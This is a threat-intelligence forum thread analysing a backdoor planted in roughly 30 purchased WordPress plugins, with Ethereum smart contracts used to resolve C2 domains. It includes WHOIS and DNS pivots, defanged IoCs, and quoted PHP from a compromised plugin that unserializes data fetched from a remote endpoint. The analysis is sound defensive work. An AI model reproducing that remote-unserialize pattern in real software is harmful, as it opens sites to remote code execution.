Someone Bought 30 WordPress Plugins and Planted a Backdoor in All of Them

mttaggart · April 13, 2026, 11:10pm

What a crazy story. I wonder if the attack surface (now burned) was worth six figures. IoCs in article.

chilly · April 13, 2026, 11:46pm

Was just reading that. I’d be interested in finding out more about the EtherHiding aspect. There was a group Mandiant talked about late last year that also focused on WordPress plugins while relying on Blockchain C2 infra. https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware

neurovagrant · April 13, 2026, 11:58pm

Oh, THIS is an INTERESTING one. Analyzing essentialplugin[.]com:

WHOIS shows a registration change on 2025-08-30 from redacted to

Kim Schmidt
kims7@proton[.]me
Switzerland

-

The email address provides a pivot to several other domains:

swaplasix[.]com
casinokursaal[.]nl
oilzero[.]nl
quantumsystem[.]nl
yuanpay-group[.]nl
bitcoinloophole[.]nl

There’s a larger pivot on the Registrant name but “Kim Schmidt” seems generic enough that it may be noise. Hundreds of results.

-

The site wasn’t operationalized until 2026-04-08

Nameservers switched from Cloudflare to Bulgarian host siteground[.]net

A record switched from Cloudflare to Google - 35.214.4[.]7, and then on 2026-04-09 to 34.2.149[.]5

The IPs overlap with c1120746.sgvps[.]net and mail.1120746.sgvps[.]net - which looks like their backend infra, also on Siteground (the “sg” in “sgvps”).

Attaching current domain and historical DNS records as well.

DNSDB_RData_34.2.149.5_ip_Limit_5000_20260413_233329.csv (1.8 KB)

iris-pe-export-2026-04-13T19_32_37-04_00.csv (7.9 KB)

DNSDB_RData_35.214.4.7_ip_Limit_5000_20260413_235335.csv (1.1 KB)

DNSDB_RRSet__.essentialplugin.com_ANY_Limit_5000_20260413_233359.csv (1.4 MB)

neurovagrant · April 14, 2026, 12:01am

Oh, GOOD catch Chilly! This seems super relevant.

mttaggart · April 14, 2026, 12:36am

The Mandiant Etherhiding technique is definitely similar, although the WP story is lacking in details. This would constitute a change in technique for DPRK attackers in the Mandiant post. On the other hand, a threat actor spending six figures for these plugins suggests some kind of financial backing. The fact that they sat on it for a while is interesting as well.

I’d love to see some contract hashes from the WordPress backdoor to compare them to what was seen in Mandiant’s research.

mttaggart · April 14, 2026, 1:11am

Found the GitHub account for this dev.

And here’s an example of the code that calls the backdoor:

github.com/essentialplugin/wp-team-showcase-and-slider

wpos-analytics/includes/class-anylc-admin.php

327577083


      
          	 * @package Wpos Analytic
          	 */
              public function fetch_ver_info( $product_id, $curr_version ) {
          		$url = $this->analytics_endpoint . '/plugin_info/' . $product_id . '/' . '?version=' . urlencode($curr_version) . '&site_url=' . urlencode(get_site_url()) . '&live=1';		
                  $data = @file_get_contents($url);
                  if (!$data) {
          			$this->status = 'offline';
                      return false;
                  }
          		
                  $info = @unserialize($data);
          
                  if ($info instanceof self) {
                      $this->release_date  = $info->release_date;
                      $this->status        = $info->status;
                      $this->write         = $info->write;
                      $this->version_cache = $info->version_cache;
                      $this->changelog     = $info->changelog;
                  }
          
                  if ($this->status === 'valid' && ! $this->isOutdated()) {

github.com/essentialplugin/wp-team-showcase-and-slider

wpos-analytics/includes/class-anylc-admin.php

327577083


      
          	 */
          	public function wpos_monthly_cron_hook_fn() {
          		$this->wpos_process_monthly_data( $this->analytics_slugs );
          	}
          
          	/**
          	 * Send data to analytics for better user experience and issues
          	 * 
          	 * @package Wpos Analytic
          	 */
          	public function wpos_process_monthly_data( $slugs ) {
          
          		foreach ( $slugs as $slug) {
          			
          			$data = wpos_anylc_optin_data($slug, '', true);
          	
          			$data['wpos_anylc_optin'] = 'wpos_anylc_optin';
          	
          			$response = wp_remote_post( 'https://analytics.essentialplugin.com', array(
          				'method'    => 'POST',
          				'timeout'   => 15,

neurovagrant · April 14, 2026, 5:04pm

Adding domain and DNS records for additional domains identified by Taggart.

Also worth noting: the fallback 0x domain was originally spun up on different nameservers - icedns[.]is - and a quick review shows a ton of varied malicious and suspicious domains with varying targets. Cryptocurrency scams, fake Rolex and other counterfeit goods or scams, botnet offers, and more.

DNSDB_RRSet__.0x295bae89192c32.com_ANY_Limit_5000_20260414_152525.csv (5.0 KB)

DNSDB_RRSet__.placeholderlink.com_ANY_Limit_5000_20260414_164555.csv (30.2 KB)

DNSDB_RData_35.214.4.7_ip_Limit_5000_20260413_235335.csv (1.1 KB)

DNSDB_RData_34.2.149.5_ip_Limit_5000_20260413_233329.csv (1.8 KB)

DNSDB_RRSet__.essentialplugin.com_ANY_Limit_5000_20260413_233359.csv (1.4 MB)

iris-pe-export-2026-04-14T12_44_13-04_00.csv (14.5 KB)

DNSDB_RRSet__.linksunlimited.com_ANY_Limit_100000_20260414_164536.csv (1.2 MB)

The operationalized IP addresses come up under Google’s ASN, but multiple sources place them in Singapore geographically, which is interesting given earlier pre-operationalization registrant was out of Singapore.

mttaggart · April 14, 2026, 5:09pm

Thanks to a very helpful reply from the author, I have more IoCs and details.

The Plugins

I was able to find the plugins and related changes to the code on GitHub:

Pick any repo and you’ll likely find the same code Austin mentioned in the original blog post.

Here’s a random example, with the Git Blame putting the change on 2025-11-12. Not sure why the date discrepancy with Austin’s timeline, but perhaps GitHub changes were mirrored from someplace else.

Now, onto the blockchain.

WARNING
Before we go further, let me be clear that I am no kind of expert on Web3, smart contracts, or anything else. I just know how to pivot on things and read code. If anyone with more expertise in these wants to jump in,

Smart Contract

The second-stage PHP is somewhat obfsucated, but not seriously. Importantly, it is a C2 handler that calls out to an Ethereum smart contract. That contract’s hash is hardcoded, so itself is an IoC:

0x8b51674f44a1aa39ad5b3a365da1d667e54af292

VirusTotal has nothing related.

Now that contract has had two transactions, both from the same actor (0xa895ab1e4efad6bb645379891a091a599121b3cc). Both transactions called the setValue() method on the contract. The values set were:

00000000000000000000000000006c696e6b73756e6c696d697465642e636f6d
00000000000000000000000000706c616365686f6c6465726c696e6b2e636f6d

These are the two domains used for C2 operations: linksunlimited[.]com and placeholderlink[.]com, respectively. There’s another domain, 0x295bae89192c32[.]com, used as a fallback in the event the smart contract fails to fetch.

The Wallet

The wallet that set the two values above is tricky. It was initally funded by another address, which in turn was funded by this smart contract. This happens to be the Mayan Swift auction contract.

The Auction

Mayan Explorer tells us that a Solana wallet was the initiator. I don’t see much interesting there, following it up to likely being a deFi account from DeBridge.

Conclusions/Speculations

Given that the values for the C2 domains were set from auction winners, I suspect that this purchased ecosystem was turned around into an initial access product, and that bidders were bidding on entré to the plugin install base.

While Etherhiding as a technique aligns with Google’s UNC5142, the lack of sophistication in this smart contract (and the auction) leads me to conclude this is not activity from the same group, just another cybercriminal organization that noticed how useful the blockchain is for this behavior.

IOCs

Value	Type	Description
`c42a9926125f8d3b2090723288cafce0b397cf7cd6d1494b076e69e084268a6a`	SHA256	hash of second-stage PHP dropped by plugin
`0x295bae89192c32[.]com`	Domain	Hardcoded Fallback C2
`linksunlimited[.]com`	Domain	Initial C2 from Contract
`placeholderlink[.]com`	Domain	Current C2 from Contract
`ethereum-rpc.publicnode[.]com`	Domain	Ethereum Exchange
`eth.api.pocket[.]network`	Domain	Ethereum Exchange
`eth.drpc[.]org`	Domain	Ethereum Exchange
`eth.llamarpc[.]com`	Domain	Ethereum Exchange
`1rpc[.]io/eth`	URL	Ethereum Exchange
`0xa895Ab1E4EFaD6bb645379891A091a599121B3Cc`	String	Hardcoded contract address